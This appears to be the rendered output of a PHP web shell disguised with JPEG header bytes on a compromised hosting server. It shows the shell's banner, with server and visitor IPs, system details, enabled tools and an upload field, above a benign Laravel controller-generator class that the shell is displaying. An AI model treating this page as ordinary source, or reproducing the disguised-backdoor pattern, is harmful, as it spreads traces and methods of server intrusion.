����JFIF��x�x����'
| Server IP : 78.140.185.180  /  Your IP : 216.73.216.38 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././././www/common/Generators/Controller/  | 
Upload File :  | 
<?php
namespace Common\Generators\Controller;
use Illuminate\Routing\Console\ControllerMakeCommand;
use Illuminate\Support\Str;
class GenerateController extends ControllerMakeCommand
{
    public function handle()
    {
        if (parent::handle() !== false) {
            // add route
            $path = base_path('routes/web.php');
            if ($this->option('model')) {
                $marker = "});";
                file_put_contents($path, str_replace(
                    $marker,
                    "\n{$this->getRouteStub()}\n{$marker}",
                    file_get_contents($path)
                ));
            }
        }
    }
    protected function getRouteStub()
    {
        $resourceName = Str::kebab(class_basename($this->option('model')));
        $resourceComment = strtoupper(Str::title($this->option('model')));
        return str_replace(
            ['dummyResourceName', 'dummyControllerName', 'dummyResourceComment'],
            [$resourceName, $this->getNameInput(), $resourceComment],
            file_get_contents(__DIR__ . '/stubs/route.resource.stub')
        );
    }
    protected function buildClass($name)
    {
        $modelClass = $this->parseModel($this->option('model'));
        $modelName = class_basename($modelClass);
        return str_replace('DummyModelName', $modelName, parent::buildClass($name));
    }
    protected function getStub()
    {
        if ($this->option('model')) {
            return __DIR__ . '/stubs/controller.model.stub';
        }
        return parent::getStub();
    }
}